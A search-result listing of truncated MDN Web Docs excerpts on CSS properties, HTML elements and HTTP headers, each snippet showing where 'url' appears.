-webkit-mask-repeat-x - CSS: Cascading Style Sheets
ee times, might stretch until each repetition is 300px wide, and then another image will be added. they will then compress to 225px. ...
...be added. they will then compress to 225px. formal definition initial valuerepeatapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax repeat | no-repeat | space | round examples using a repeating or non-repeating mask image .exampleone { -webkit-mask-image:
url('mask.png'); -webkit-mask-repeat-x: repeat; } .exampletwo { -webkit-mask-image:
url('mask.png'); -webkit-mask-repeat-x: no-repeat; } using multiple mask images you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { -webkit-mask-image:
url('mask1.png'),
url('mask2.png'); -webkit-mask-repeat-x: repeat, space; } each image is matched with the corresponding repeat style, from first specified to last. specifications not part...
:target - CSS: Cascading Style Sheets
the :target css pseudo-class represents a unique element (the target element) with an id matching the
url's fragment. /* selects an element with an id matching the current
url's fragment */ :target { border: 2px solid black; } for example, the following
url has a fragment (denoted by the # sign) that points to an element called section2: http://www.example.com/index.html#section2 the following element would be selected by a :target selector when the current
url is equal to the above: <section id="section2">example</section> syntax :target examples a table of contents the :target pseudo-class can be used to highlight the portion of a page that has been linked to from a table of contents. html <h3>table of contents</h3> <ol> <li><a href="#p1">jump to the first paragraph!</a></li...
...on of a page that has been linked to from a table of contents. html <h3>table of contents</h3> <ol> <li><a href="#p1">jump to the first paragraph!</a></li> <li><a href="#p2">jump to the second paragraph!</a></li> <li><a href="#nowhere">this link goes nowhere, because the target doesn't exist.</a></li> </ol> <h3>my fun article</h3> <p id="p1">you can target <i>this paragraph</i> using a
url fragment. click on the link above to try out!</p> <p id="p2">this is <i>another paragraph</i>, also accessible from the links above. isn't that delightful?</p> css p:target { background-color: gold; } /* add a pseudo-element inside the target element */ p:target::before { font: 70% sans-serif; content: "►"; color: limegreen; margin-right: .25em; } /* style italic elements withi...
negative - CSS: Cascading Style Sheets
f the extended counter style itself uses a negative sign. if the negative descriptor is specified for other systems that don't support negative counter values, then the descriptor is ignored. ...
...color>? ]! ...
pad - CSS: Cascading Style Sheets
l to be used for padding as the second parameter. a common usage of the pad descriptor is when you need your list to start numbering from 01 and go through 02, 03 and so on, instead of just 1, 2, 3... ...
...color>? ]! ...
font-style - CSS: Cascading Style Sheets
; for font-style: normal or italic, no second value is allowed. formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax normal | italic | oblique <angle>{0,2} examples specifying an italic font style as an example, consider the garamond font family, in its normal form, we get the following result: @font-face { font-family: garamond; src:
url('garamond.ttf'); } the italicized version of this text uses the same glyphs present in the unstyled version, but they are artificially sloped by a few degrees. on the other hand, if a true italicized version of the font family exists, we can include it in the src descriptor and specify the font style as italic, so that it is clear that the font is italicized. true italics use different glyp...
...criptor and specify the font style as italic, so that it is clear that the font is italicized. true italics use different glyphs and are a bit different from their upright counterparts, having some unique features and generally have a rounded and calligraphic quality. these fonts are specially created by font designers and are not artificially sloped. @font-face { font-family: garamond; src:
url('garamond-italic.ttf'); font-style: italic; } specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification. working draft adds oblique keyword with angle value css fonts module level 3the definition of 'font-style' in that specification. candidate recommendation initial definition ...
Using multiple backgrounds - CSS: Cascading Style Sheets
background: background, background-attachment, background-clip, background-image, background-origin, background-position, background-repeat, background-size. ...
...ackground-image, background-origin, background-position, background-repeat, background-size. ...
CSS Images - CSS: Cascading Style Sheets
css images is a module of css that defines what types of images can be used (the <image> type, containing
urls, gradients and other types of images), how to resize them and how they, and other replaced content, interact with the different layout models. reference properties image-orientation image-rendering image-resolution object-fit object-position functions linear-gradient() radial-gradient() repeating-linear-gradient() repeating-radial-gradient() conic-gradient() repeating-conic-gradient()
url() element() image() cross-fade() data types <gradient> <image> guides using css gradients presents a specific type of css images, gradients, and how to create and use these. implementing image sprites in css describes the common technique grouping several ...
...nic-gradient(), and image() css images module level 3 candidate recommendation added image-orientation, image-rendering, object-fit and object-position compatibility standardthe definition of 'css gradients' in that specification. living standard standardizes the -webkit prefixed gradient value functions css values and units module level 3the definition of '<
url>' in that specification. candidate recommendation css level 2 (revision 1)the definition of '<uri>' in that specification. recommendation css level 1the definition of '<
url>' in that specification. recommendation initial definition ...
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
when a
url points at a specific piece of a document, it can be difficult for the user to notice. find out how you can use some simple css to draw attention to the target of a
url and improve the user's experience. picking a target the pseudo-class :target is used to style the target element of a
url containing a fragment identifier. for example, the
url http://developer.mozilla.org/en/docs/using_the_:target_selector#example contains the fragment identifier #example. in html, identifiers are found as the values of either id or name attributes, since the two share the same namespace. thus, the example
url would point to the heading "example" in this document. ...
...this is simple enough: h2:target { font-weight: bold; } it's also possible to create styles that are specific to a particular fragment of the document. this is done using the same identifying value that is found in the uri. ...
Value definition syntax - CSS: Cascading Style Sheets
must appear before any smaller keyword. question mark (?) the question mark multiplier indicates that the entity is optional, and must appear zero or one time. bold smaller? this example matches the following values: bold bold smaller but not: bold smaller smaller, as smaller must appear at most one time. smaller, as bold is juxtaposed and must appear before any smaller keyword. c
urly braces ({ }) the c
urly braces multiplier, enclosing two integers separated by a comma, a and b, indicates that the entity must appear at least a times and at most b times. bold smaller{1,3} this example matches the following values: bold smaller bold smaller smaller bold smaller smaller smaller but not: bold, as smaller must appear at least one time. bold smaller smaller smaller sm...
... exclamation point group must produce at least 1 value [ bold? smaller? ]! specifications specification status comment css values and units module level 3the definition of 'v...
background-origin - CSS: Cascading Style Sheets
positioned relative to the content box. formal definition initial valuepadding-boxapplies toall elements. ...
...nheritednocomputed valueas specifiedanimation typediscrete formal syntax <box>#where <box> = border-box | padding-box | content-box examples setting background origins .example { border: 10px double; padding: 10px; background:
url('image.jpg'); background-position: center left; background-origin: content-box; } #example2 { border: 4px solid black; padding: 10px; background:
url('image.gif'); background-repeat: no-repeat; background-origin: border-box; } div { background-image:
url('logo.jpg'),
url('mainback.png'); /* applies two images to the background */ background-position: top right, 0px 0px; background-origin: content-box, padding-box; } specifications specification status comment css backgrounds and borders module level 3t...
background-position - CSS: Cascading Style Sheets
one element. html <div class="exampleone">example one</div> <div class="exampletwo">example two</div> <div class="examplethree">example three</div> css /* shared among all <div>s */ div { background-color: #ffee99; background-repeat: no-repeat; width: 300px; height: 80px; margin-bottom: 12px; } /* these examples use the `background` shorthand property */ .exampleone { background:
url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #ffee99 2.5cm bottom no-repeat; } .exampletwo { background:
url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #ffee99 left 4em bottom 1em no-repeat; } /* multiple background images: each image is matched with the corresponding position, from first specified to last. */ .examplethree { background-image: ur...
...epeat; } .exampletwo { background:
url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #ffee99 left 4em bottom 1em no-repeat; } /* multiple background images: each image is matched with the corresponding position, from first specified to last. */ .examplethree { background-image:
url("https://mdn.mozillademos.org/files/11987/startransparent.gif"),
url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-position: 0px 0px, right 3em bottom 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-position' in that specification. candidate recommendation adds support for multiple backgrounds and t...
border-image - CSS: Cascading Style Sheets
ccording to the specification, although not all browsers implement this requirement. constituent properties this property is a shorthand for the following css properties: border-image-outset border-image-repeat border-image-slice border-image-source border-image-width syntax /* source | slice */ border-image: linear-gradient(red, blue) 27; /* source | slice | repeat */ border-image:
url("/images/border.png") 27 space; /* source | slice | width */ border-image: linear-gradient(red, blue) 27 / 35px; /* source | slice | width | outset | repeat */ border-image:
url("/images/border.png") 27 23 / 50px 30px / 1rem round space; the border-image property may be specified with anywhere from one to five of the values listed below. note: if the computed value of border-image-source is...
...rner and edge regions. to center the border image on the edge of the element's background, we will make the outset values equal to half of the width values. finally, a repeat value of round will make the border slices fit evenly, i.e., without clipping or gaps. ...
list-style-image - CSS: Cascading Style Sheets
ase clone https://github.com/mdn/interactive-examples and send us a pull request. note: this property is applied to list items, i.e. elements with display: list-item; by default this includes <li> elements. because this property is inherited, it can be set on the parent element (normally <ol> or <ul>) to let it apply to all list items. syntax /* keyword values */ list-style-image: none; /* <
url> values */ list-style-image:
url('starsolid.gif'); /* global values */ list-style-image: inherit; list-style-image: initial; list-style-image: unset; values <
url> location of image to use as the marker. none specifies that no image is used as the marker. if this value is set, the marker defined in list-style-type will be used instead. formal definition initial valuenoneapplies tolist ...
...e: initial; list-style-image: unset; values <
url> location of image to use as the marker. none specifies that no image is used as the marker. if this value is set, the marker defined in list-style-type will be used instead. formal definition initial valuenoneapplies tolist itemsinheritedyescomputed valuenone or the image with its uri made absoluteanimation typediscrete formal syntax <
url> | none examples setting list item images html <ul> <li>item 1</li> <li>item 2</li> </ul> css ul { list-style-image:
url("https://mdn.mozillademos.org/files/11981/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-image' in that specification. working draft extends support ...
list-style - CSS: Cascading Style Sheets
lt this includes <li> elements. because this property is inherited, it can be set on a parent element (normally <ol> or <ul>) to make the same list styling apply to all the items inside. ...
... the items inside. constituent properties this property is a shorthand for the following css properties: list-style-image list-style-position list-style-type syntax /* type */ list-style: square; /* image */ list-style:
url('../img/shape.png'); /* position */ list-style: inside; /* type | position */ list-style: georgian inside; /* type | image | position */ list-style: lower-roman
url('../img/shape.png') outside; /* keyword value */ list-style: none; /* global values */ list-style: inherit; list-style: initial; list-style: unset; the list-style property is specified as one, two, or three keywords in any order. if list-style-type and list-style-image are both set, then list-style-type is used as a fallback if the image is unavailable. values list-style-type see list-st...
mask-type - CSS: Cascading Style Sheets
xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:alpha"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask:
url("#m"); } result setting a luminance mask html <div class="redsquare"></div> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="0" height="0"> <defs> <mask id="m" maskcontentunits="objectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> <...
... candidate recommendation initial definition. ...
offset - CSS: Cascading Style Sheets
ns of the spec called this property motion. ...
...his property is a shorthand for the following css properties: offset-anchor offset-distance offset-path offset-position offset-rotate syntax /* offset position */ offset: auto; offset: 10px 30px; offset: none; /* offset path */ offset: ray(45deg closest-side); offset: path('m 100 100 l 300 100 l 200 300 z'); offset:
url(arc.svg); /* offset path with distance and/or rotation */ offset:
url(circle.svg) 100px; offset:
url(circle.svg) 40%; offset:
url(circle.svg) 30deg; offset:
url(circle.svg) 50px 20deg; /* including offset anchor */ offset: ray(45deg closest-side) / 40px 20px; offset:
url(arc.svg) 2cm / 0.5cm 3cm; offset:
url(arc.svg) 30deg / 50px 100px; formal definition initial valueas each of the properties of the shorthand:offset-position: autooffset-path: noneoffset-distanc...
Creating a cross-browser video player - Developer guides
reload="metadata" poster="img/poster.jpg"> <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4"> <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm"> <source src="video/tears-of-steel-battle-clip-medium.ogg" type="video/ogg"> <!-- flash fallback --> <object type="application/x-shockwave-flash" data="flash-player.swf?video
url=video/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576"> <param name="movie" value="flash-player.swf?video
url=video/tears-of-steel-battle-clip-medium.mp4" /> <param name="allowfullscreen" value="true" /> <param name="wmode" value="transparent" /> <param name="flashvars" value="controlbar=over&image=img/poster.jpg&file=flash-player.swf?vid...
...ideo/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576"> <param name="movie" value="flash-player.swf?video
url=video/tears-of-steel-battle-clip-medium.mp4" /> <param name="allowfullscreen" value="true" /> <param name="wmode" value="transparent" /> <param name="flashvars" value="controlbar=over&image=img/poster.jpg&file=flash-player.swf?video
url=video/tears-of-steel-battle-clip-medium.mp4" /> <img alt="tears of steel poster image" src="img/poster.jpg" width="1024" height="428" title="no video playback possible, please download the video from the link below" /> </object> <!-- offer download --> <a href="video/tears-of-steel-battle-clip-medium.mp4">download mp4</a> </video> <figcaption>© blender founda...
Audio and Video Delivery - Developer guides
media source extensions (mse) media source extensions is a w3c working draft that plans to extend htmlmediaelement to allow javascript to generate media streams for playback. all...
... media source extensions (mse) media source extensions is a w3c working draft that plans to extend htmlmediaelement to allow javascript to generate media streams for playback. allowing javascript...
HTML attribute: pattern - HTML: Hypertext Markup Language
the pattern attribute specifies a regular expression the form control's value should match. if a non-null value doesn't conform to the constraints set by the pattern value, the validitystate object's read-only patternmismatch property will be true. the pattern attribute is an attribute of the text, tel, email,
url, password, and search input types. the pattern attribute, when specified, is a regular expression which the input's value must match in order for the value to pass constraint validation. it must be a valid javascript regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii.
...cified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored. tip: use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. some of the input types supporting the pattern attribute, notably the email and
url input types, have expected value syntaxes that must be matched. if the pattern attribute isn't present, and the value doesn't match the expected syntax for that value type, the validitystate object's read-only typemismatch property will be true. usability when including a pattern, provide a description of the pattern in visible text near the control. additionally, include a title attribute whi...
HTML attribute: rel - HTML: Hypertext Markup Language
rel value description <link> <a> and <area> <form> alternate alternate representations of the current document. link link not allowed author author of the current document or article. link link not allowed bookmark permalink for the nearest ancestor section. not allowed link not allowed canonical preferred
url for the current document. link not allowed not allowed dns-prefetch tells the browser to preemptively perform dns resolution for the target resource's origin external resource not allowed not allowed external referenced document is not part of the same site as the current document. not allowed annotation annotation help link to contex...
...obsolete rev="made" is treated as rel="alternate" bookmark relevant as the rel attribute value for the <a> and <area> elements, the bookmark provides a permalink for ancestor section, which is the nearest ancestor <article> or <section>, if there is at least one, otherwise, the nearest heading sibling or ancestor descendant, to the next.. canonical valid for <link>, it defines the preferred
url for the current document, which is useful for search engines. dns-prefetch relevant for the <link> element both in the <body> and <head>, it tells the browser to preemptively perform dns resolution for the target resource's origin. useful for resources the user will likely need, it helps reduce latency and thereby improves performance when the user does access the resources as the browser preem...
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
descriptive text alternate to be displayed on browsers that do not support java. page designers should also remember that content enclosed within the <applet> element may also be rendered as alternative text. archive this attribute refers to an archived or compressed version of the applet and its associated class files, which might help reduce download time. code this attribute specifies the
url of the applet's class file to be loaded and executed. applet filenames are identified by a .class filename extension. the
url specified by code might be relative to the codebase attribute. codebase this attribute gives the absolute or relative
url of the directory where applets' .class files referenced by the code attribute are stored. datafld this attribute, supported by internet explorer 4 ...
...cifies additional horizontal space, in pixels, to be reserved on either side of the applet. mayscript in the netscape implementation, this attribute allows access to an applet by programs in a scripting language embedded in the document. name this attribute assigns a name to the applet so that it can be identified by other resources; particularly scripts. object this attribute specifies the
url of a serialized representation of an applet. src as defined for internet explorer 4 and higher, this attribute specifies a
url for an associated file for the applet. the meaning and use is unclear and not part of the html standard. vspace this attribute specifies additional vertical space, in pixels, to be reserved above and below the applet. width this attribute specifies in pixels the wid...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...mitted content flow content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlquoteelement attributes this element's attributes include the global attributes. cite a
url that designates a source document or message for the information quoted. this attribute is intended to point to information explaining the context or the reference for the quote. usage notes to change the indentation applied to the quoted text, use the css margin-left and/or margin-right properties, or the margin shorthand property. to include shorter quotes inline rather than in a separate b...
<link>: The External Resource Link element - HTML: Hypertext Markup Language
document. if disabled is specified in the html when it is loaded, the stylesheet will not be loaded during page load. instead, the stylesheet will be loaded on-demand, if and when the disabled attribute is changed to false or removed. setting the disabled property in the dom causes the stylesheet to be removed from the document's document.stylesheets list. href this attribute specifies the
url of the linked resource. a
url can be absolute or relative. hreflang this attribute indicates the language of the linked resource. it is purely advisory. allowed values are determined by bcp47. use this attribute only if the href attribute is present. importance indicates the relative importance of the resource. priority hints are delegated using the values: auto: indicates no preference.
.... this is a user agent’s default behavior, if no policy is otherwise specified. origin means that the referrer will be the origin of the page, which is roughly the scheme, the host, and the port. origin-when-cross-origin means that navigating to other origins will be limited to the scheme, the host, and the port, while navigating on the same origin will include the referrer's path. unsafe-
url means that the referrer will include the origin and the path (but not the fragment, password, or username). this case is unsafe because it can leak origins and paths from tls-protected resources to insecure origins. rel this attribute names a relationship of the linked document to the current document. the attribute must be a space-separated list of link type values. sizes this attribute ...
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
st have the value "ie=edge". user agents are required to ignore this pragma. refresh this instruction specifies: the number of seconds until the page should be reloaded - only if the content attribute contains a positive integer. the number of seconds until the page should redirect to another - only if the content attribute contains a positive integer followed by the string ';
url=', and a valid
url. accessibility concerns pages set with a refresh value run the risk of having the time interval being too short. people navigating with the aid of assistive technology such as a screen reader may be unable to read through and understand the page's content before being automatically redirected. the abrupt, unannounced updating of the page content may also be disorien...
...used together to provide document metadata in terms of name-value pairs, with the name attribute giving the metadata name, and the content attribute giving the value. see standard metadata names for details about the set of standard metadata names defined in the html specification. examples <meta charset="utf-8"> <!-- redirect page after 3 seconds --> <meta http-equiv="refresh" content="3;
url=https://www.mozilla.org"> specifications specification status comment html living standardthe definition of '<meta>' in that specification. living standard ...
<video>: The Video Embed element - HTML: Hypertext Markup Language
in the video. if set, the audio will be initially silenced. its default value is false, meaning that the audio will be played when the video is played. playsinline a boolean attribute indicating that the video is to be played "inline", that is within the element's playback area. note that the absence of this attribute does not imply that the video will always be played in fullscreen. poster a
url for an image to be shown while the video is downloading. if this attribute isn't specified, nothing is displayed until the first frame is available, then the first frame is shown as the poster frame. preload this enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience with regards to what content is loaded before the v...
...e auto value. the default value is different for each browser. the spec advises it to be set to metadata. note: the autoplay attribute has precedence over preload. if autoplay is specified, the browser would obviously need to start downloading the video for playback. the specification does not force the browser to follow the value of this attribute; it is a mere hint. src the
url of the video to embed. this is optional; you may instead use the <source> element within the video block to specify the video to embed. width the width of the video's display area, in css pixels (absolute values only; no percentages). events event name fired when audioprocess the input buffer of a scriptprocessornode is ready to be processed. canplay ...
itemtype - HTML: Hypertext Markup Language
the global attribute itemtype specifies the
url of the vocabulary that will be used to define itemprop's (item properties) in the data structure. itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active. google and other major search engines support the schema.org vocabulary for structured data. this vocabulary defines a standard set of type names and property names. for example, musicevent indicates a concert performance, with startdate and location properties specifying the concert's key details. in this case, musicevent would be the
url used by itemtype, with startdate and location as itemprop's which musicevent defines. note: more about itemtype attributes can be found at http://schema.org/thing the itemtype attribute must hav...
...the attribute's value must have at least one token. the item types must all be types defined in applicable specifications (such as schema.org), and must all be defined to use the same vocabulary. ...
Microdata - HTML: Hypertext Markup Language
e item's descendants. vocabularies google and other major search engines support the schema.org vocabulary for structured data. this vocabulary defines a standard set of type names and property names, for example, schema.org music event indicates a concert performance, with startdate and location properties to specify the concert's key details. in this case, schema.org music event would be the
url used by itemtype and startdate and location would be itemprop's that schema.org music event defines. note: more about itemtype attributes can be found at http://schema.org/thing microdata vocabularies provide the semantics or meaning of an item. web developers can design a custom vocabulary or use vocabularies available on the web, such as the widely used schema.org vocabulary. a collection o...
...te can be associated with the item using an itemref. itemref provides a list of element ids (not itemids) with additional properties elsewhere in the document. itemscope – itemscope (usually) works along with itemtype to specify that the html contained in a block is about a particular item. itemscope creates the item and defines the scope of the itemtype associated with it. itemtype is a valid
url of a vocabulary (such as schema.org) that describes the item and its properties context. itemtype – specifies the
url of the vocabulary that will be used to define itemprop's (item properties) in the data structure. itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active. example html <div itemscope itemtype="http://schema.org/software...
MIME types (IANA media types) - HTTP
at indicates the nature and format of a document, file, or assortment of bytes. it is defined and standardized in ietf's rfc 6838. the internet assigned numbers authority (iana) is responsible for all official mime types, and you can find the most up-to-date and complete list at their media types page. important: browsers use the mime type, not the file extension, to determine how to process a
url, so it's important that web servers send the correct mime type in the response's content-type header. if this is not correctly configured, browsers are likely to misinterpret the contents of files and sites will not work correctly, and downloaded files may be mishandled. structure of a mime type the simplest mime type consists of a type and a subtype; these are each strings which, when concate...
...ation software of their choice. mime sniffing in the absence of a mime type, or in certain cases where browsers believe they are incorrect, browsers may perform mime sniffing — guessing the correct mime type by looking at the bytes of the resource. each browser performs mime sniffing differently and under different circumstances. (for example, safari will look at the file extension in the
url if the sent mime type is unsuitable.) there are security concerns as some mime types represent executable content. servers can prevent mime sniffing by sending the x-content-type-options header. other methods of conveying document type mime types are not the only way to convey document type information: filename suffixes are sometimes used, especially on microsoft windows. not all operating ...
Basics of HTTP - HTTP
as novelties introduced over the years. resources and uris a brief introduction to the concept of resources, identifiers, and locations on the web. identifying resources on the web describes how web resources are referenced and how to locate them. data uris a specific kind of uri that directly embeds the resource it represents. data uris are very convenient, but have some caveats. resource
urls resource
urls, those prefixed with the resource scheme are used by firefox and firefox browser extensions to load resources internally, but is also available to some sites the browser connects to as well. separating identity and location of a resource: the alt-svc http header most of the time the identity and location of a web resource are shared, this can be changed with the alt-svc header...
...eparating identity and location of a resource: the alt-svc http header most of the time the identity and location of a web resource are shared, this can be changed with the alt-svc header. mime types since http/1.0, different types of content can be transmitted. this article explains how this is accomplished using the content-type header and the mime standard. choosing between www and non-www
urls this article provides guidance on how to choose whether to use a www-prefixed domain or not, along with the consequences of that choice. flow of an http session this fundamental article describes a typical http session: what happens under the hood when you click on a link in your browser. http messages http messages transmitted during requests or responses have a very clear structure. this ...
Content negotiation - HTTP
document, which image format, or which content encoding). note: some disadvantages of http content negotiation are explained in a wiki page from whatwg. html5 provides alternatives to content negotiation via, for example, the <source> element. principles of content negotiation a specific document is called a resource. when a client wants to obtain a resource, the client requests it using its
url. the server uses this
url to choose one of the variants it provides – each variant being called a representation – and returns a specific representation to the client. the overall resource, as well as each of the representations, have a specific
url. how a specific representation is chosen when the resource is called is determined by content negotiation and there are several ways of negotiati...
...lback mechanisms. over the years, other content negotiation proposals, like transparent content negotiation and the alternates header, have been proposed. they failed to get traction and got abandoned. server-driven content negotiation in server-driven content negotiation, or proactive content negotiation, the browser (or any other kind of user-agent) sends several http headers along with the
url. these headers describe the preferred choice of the user. the server uses them as hints and an internal algorithm chooses the best content to serve to the client. the algorithm is server-specific and not defined in the standard. see, for example, the apache negotiation algorithm. the http/1.1 standard defines list of the standard headers that start server-driven negotiation (accept, accept-cha...
Clear-Site-Data - HTTP
// multiple directives (comma separated) clear-site-data: "cache", "cookies" // wild card clear-site-data: "*" directives all directives must comply with the quoted-string grammar. a directive that does not include the double quotes is invalid. "cache" indicates that the server wishes to remove locally cached data (i.e. the browser cache, see http caching) for the origin of the response
url. depending on the browser, this might also clear out things like pre-rendered pages, script caches, webgl shader caches, or address bar suggestions. "cookies" indicates that the server wishes to remove all cookies for the origin of the response
url. http authentication credentials are also cleared out. this affects the entire registered domain, including subdomains. so https://example.com as we...
...indicates that the server wishes to remove all cookies for the origin of the response
url. http authentication credentials are also cleared out. this affects the entire registered domain, including subdomains. so https://example.com as well as https://stage.example.com, will have cookies cleared. "storage" indicates that the server wishes to remove all dom storage for the origin of the response
url. this includes storage mechanisms such as: localstorage (executes localstorage.clear), sessionstorage (executes sessionstorage.clear), indexeddb (for each database execute idbfactory.deletedatabase), service worker registrations (for each service worker registration, execute serviceworkerregistration.unregister), appcache, websql databases, filesystem api data, plugin data (flas...
ETag - HTTP
the etag http response header is an identifier for a specific version of a resource. it lets caches be more efficient and save bandwidth, as a web server does not need to resend a full response if the content has not changed. additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions"). if the resource at a given
url changes, a new etag value must be generated. a comparison of them can determine whether two representations of a resource are the same. etags are therefore similar to fingerprints, and might also be used for tracking purposes by some servers. they might also be set to persist indefinitely by a tracking server. header type response header forbidden header name no syntax etag: w/"<etag_valu...
...in the if-match header containing the etag values to check freshness against. if-match: "33a64df551425fcc55e4d42a148795d9f25f89d4" if the hashes don't match, it means that the document has been edited in-between and a 412 precondition failed error is thrown. caching of unchanged resources another typical use of the etag header is to cache resources that are unchanged. ...
Host - HTTP
a host header field must be sent in all http/1.1 request messages. a 400 (bad request) status code may be sent to any http/1.1 request message that lacks a host header field or that contains more than one. ...
... a host header field must be sent in all http/1.1 request messages. a 400 (bad request) status code may be sent to any http/1.1 request message that lacks a host header field or that contains more than one. ...
Set-Cookie2 - HTTP
-cookie2 http response header used to send cookies from the server to the user agent, but has been deprecated by the specification. use set-cookie instead. ...
...ttp response header used to send cookies from the server to the user agent, but has been deprecated by the specification. use set-cookie instead. ...
X-DNS-Prefetch-Control - HTTP
this prefetching is performed in the background, so that the dns is likely to have been resolved by the time the referenced items are needed. this reduces latency when the user clicks a link. ...
...ific hostnames without providing specific anchors using that hostname by using the rel attribute on the <link> element with a link type of dns-prefetch: <link rel="dns-prefetch" href="https://www.mozilla.org/contribute/"> in this example, the domain name "www.mozilla.org/contribute" will be pre-resolved. similarly, the link element can be used to resolve hostnames without providing a complete
url, but only, by preceding the hostname with two slashes: <link rel="dns-prefetch" href="//www.mozilla.org/contribute/"> forced prefetching of hostnames might be useful, for example, on the homepage of a site to force pre-resolution of domain names that are referenced frequently throughout the site even though they are not used on the home page itself. this will improve the overall performance of...
HTTP headers - HTTP
arded-host identifies the original host requested that a client used to connect to your proxy or load balancer. x-forwarded-proto identifies the protocol (http or https) that a client used to connect to your proxy or load balancer. via added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers. redirects location indicates the
url to redirect a page to. request context from contains an internet email address for a human user who controls the requesting user agent. host specifies the domain name of the server (for virtual hosting), and (optionally) the tcp port number on which the server is listening. referer the address of the previous web page from which a link to the currently requested page was followed. refe...
...ade header field is specified, then the sender must also send the connection header field with the upgrade option specified. for details on the connection header field please see section 6.1 of the aforementioned rfc. x-dns-prefetch-control controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as
urls for items referenced by the document, including images, css, javascript, and so forth. x-firefox-spdy ... x-pingback ... x-requested-with ... x-robots-tag the x-robots-tag http header is used to indicate how a web page is to be indexed within public search engine results. the header is effectively equivalent to <meta name="robots" content="...">. x-ua-compatible used by intern...
Link prefetching FAQ - HTTP
tabs finish loading. if you are using another application which uses the network, link prefetching in mozilla may compete for bandwidth with the other application. this is a problem that we hope to address in the future by leveraging operating system services to monitor network idle time. are there any restrictions on what is prefetched? yes, only http:// (and, starting in gecko 1.9.1 https://)
urls can be prefetched. other protocols (such as ftp) do not provide rich enough support for client side caching. will mozilla prefetch documents from a different host? yes. there is no same-origin restriction for link prefetching. limiting prefetching to only
urls from the the same server would not offer any increased browser security. do prefetched requests contain a referer: header? yes, prefe...
...sers support link prefetching? browsers based on mozilla 1.2 (or later) as well as browsers based on mozilla 1.0.2 (or later) support prefetching. this includes firefox and netscape 7.01+. camino builds as of march 2003 are based on mozilla 1.0.1, and therefore do not support prefetching. test your browser to see if it supports link prefetching. privacy implications along with the referral and
url-following implications already mentioned above, prefetching will generally cause the cookies of the prefetched site to be accessed. (for example, if you google amazon, the google results page will prefetch www.amazon.com, causing amazon cookies to be sent back and forth. you can block 3rd party cookies in firefox, see disabling third party cookies.) what about...? if you have any questions or c...
HTTP Messages - HTTP
erver. their start-line contain three elements: an http method, a verb (like get, put or post) or a noun (like head or options), that describes the action to be performed. for example, get indicates that a resource should be fetched or post means that data is pushed to the server (creating or modifying a resource, or generating a temporary document to send back). the request target, usually a
url, or the absolute path of the protocol, port, and domain are usually characterized by the request context. the format of this request target varies between different http methods. it can be an absolute path, ultimately followed by a '?' and query string. this is the most common form, known as the origin form, and is used with get, post, head, and options methods. post / http/1.1 get ...
... of this request target varies between different http methods. it can be an absolute path, ultimately followed by a '?' and query string. this is the most common form, known as the origin form, and is used with get, post, head, and options methods. post / http/1.1 get /background.png http/1.0 head /test.html?query=alibaba http/1.1 options /anypage.html http/1.0 a complete
url, known as the absolute form, is mostly used with get when connected to a proxy. get http://developer.mozilla.org/docs/web/http/messages http/1.1 the authority component of a
url, consisting of the domain name and optionally the port (prefixed by a ':'), is called the authority form. it is only used with connect when setting up an http tunnel. connect developer.mozilla.org:80 http/1.1 ...
Proxy servers and tunneling - HTTP
whether web browser requests (http, https, and ftp) go directly to the destination or are forwarded to a web proxy server. the javascript function contained in the pac file defines the function: the auto-config file should be saved to a file with a .pac filename extension: proxy.pac and the mime type set to: application/x-ns-proxy-autoconfig the file consists of a function called findproxyfor
url. ...
... to a file with a .pac filename extension: proxy.pac and the mime type set to: application/x-ns-proxy-autoconfig the file consists of a function called findproxyfor
url. the example below will work in an environment where the internal dns server is set up so that it can only resolve internal host names, and the goal is to use a proxy only for hosts that aren't resolvable: function findproxyfor
url(
url, host) { if (isresolvable(host)) return "direct"; else return "proxy proxy.mydomain.com:8080"; } see proxy auto-configuration (pac) for more examples. ...
301 Moved Permanently - HTTP
even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find this type of bugged software out there. ...
... even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find this type of bugged software out there. ...
302 Found - HTTP
